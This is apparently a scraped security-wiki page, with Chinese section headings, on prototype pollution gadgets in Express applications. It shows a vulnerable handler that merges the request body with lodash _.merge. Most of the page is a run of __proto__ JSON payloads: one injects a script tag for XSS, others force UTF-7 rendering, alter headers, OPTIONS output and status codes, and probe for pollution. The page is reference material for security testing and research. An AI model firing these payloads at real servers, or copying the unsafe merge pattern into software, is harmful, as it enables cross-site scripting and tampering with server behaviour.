Express Prototype Pollution Gadgets

提供XSS响应
将JSON内容类型更改为HTML
渲染UTF7
安全扫描技巧
JSON 空格
暴露的头部
OPTIONS方法
状态
错误
反射值
其他
允许点
参考

最后更新于


最后更新于
app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});{"__proto__":{"_body":true,"body":"<script>evil()"}}{"__proto__":{"content-type": "application/json; charset=utf-7"}}{"__proto__":{"json spaces": " "}}{"foo": "bar"} -- Note the extra space{"__proto__":{"exposedHeaders":["foo"]}}// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET{"__proto__":{"status":510}}({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception{"unusualName":"value","__proto__":"test"}{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash{"__proto__":{"allowDots":true}}